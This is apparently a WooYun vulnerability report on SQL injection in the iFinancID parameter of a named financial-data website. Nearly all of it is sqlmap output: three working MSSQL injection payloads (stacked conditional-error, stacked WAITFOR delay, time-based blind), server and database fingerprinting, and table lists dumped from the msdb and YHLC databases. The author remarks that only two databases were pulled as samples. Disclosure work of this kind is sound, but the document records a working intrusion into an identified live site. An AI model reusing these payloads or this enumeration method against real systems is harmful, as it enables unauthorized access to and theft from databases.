WooYun.org

地址：http://bankdata.jnlc.com/SitePages/productinfo.aspx?iFinancID=267427
sqlmap扫描结果：
Place: GET
Parameter: iFinancID
Type: boolean-based blind
Title: Microsoft SQL Server/Sybase stacked conditional-error blind queries
Payload: iFinancID=267427'; IF(2052=2052) SELECT 2052 ELSE DROP FUNCTION xwOa--
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: iFinancID=267427'; WAITFOR DELAY '0:0:5'--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: iFinancID=267427' WAITFOR DELAY '0:0:5'--
---
[11:53:59] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2008 R2 or 7
web application technology: ASP.NET 4.0.30319, ASP.NET, Microsoft IIS 7.5
back-end DBMS: Microsoft SQL Server 2008
available databases [6]:
[*] finchina
[*] master
[*] model
[*] msdb
[*] tempdb
[*] YHLC
Database: msdb
[21 tables]
+--------------------------------------------+
| backupfile |
| backupmediafamily |
| backupmediaset |
| backupset |
| logmarkhistory |
| restorefile |
| restorefilegroup |
| restorehistory |
| suspect_pages |
| sysdac_instances |
| syspolicy_conditions |
| syspolicy_configuration |
| syspolicy_object_sets |
| syspolicy_policies |
| syspolicy_policy_categories |
| syspolicy_policy_category_subscriptions |
| syspolicy_policy_execution_history |
| syspolicy_policy_execution_history_details |
| syspolicy_system_health_state |
| syspolicy_target_set_levels |
| syspolicy_target_sets |
+--------------------------------------------+
Database: YHLC
[41 tables]
+----------------------------------------------+
| BankTypeOrder |
| BankVip |
| MSreplication_objects |
| MSreplication_subscriptions |
| MSsnapshotdeliveryprogress |
| MSsubscription_agents |
| MSsubscription_properties |
| S3_Tmp |
| TradingDays |
| YHLC_BankFinacleRateByPeriod |
| YHLC_BankFinacleRateByPeriodFindProduct_TEMP |
| YHLC_tbAgencyForIndex |
| YHLC_tbAgencyForVip |
| YHLC_tbjnlcIndex |
| tbAgencyOrgan |
| tbBankFinacle |
| tbConfig |
| v_BankFinacle |
| v_BankFinacleSingleInf |
| v_GetAllLcqxMonthAVGSyl_AllBanks |
| v_GetAllLcqxMonthAVGSyl_ByBankID |
| v_GetAllLcqxMonthAVGSyl_ByProfitType |
| v_GetAllLcqxQuarterAVGSyl_AllBanks |
| v_GetAllLcqxQuarterAVGSyl_ByBankID |
| v_GetAllLcqxQuarterAVGSyl_ByProfitType |
| v_GetAllLcqxWeekAVGSyl_AllBanks |
| v_GetAllLcqxWeekAVGSyl_ByBankID |
| v_GetAllLcqxWeekAVGSyl_ByProfitType |
| v_GetBankFinacleAllProducts |
| v_GetBankFinacleByBankLCQX |
| v_GetBankFinacleHomepage |
| v_GetMonthAVGSyl_AllBanks |
| v_GetMonthAVGSyl_ByBankID |
| v_GetMonthAVGSyl_ByProfitType |
| v_GetQuarterAVGSyl_AllBanks |
| v_GetQuarterAVGSyl_ByBankID |
| v_GetQuarterAVGSyl_ByProfitType |
| v_GetWeekAVGSyl_AllBanks |
| v_GetWeekAVGSyl_ByBankID |
| v_GetWeekAVGSyl_ByProfitType |
| v_GetWeekTotalCirculation_Homepage |
+----------------------------------------------+
网太渣，只弄了两个数据库做代表。。。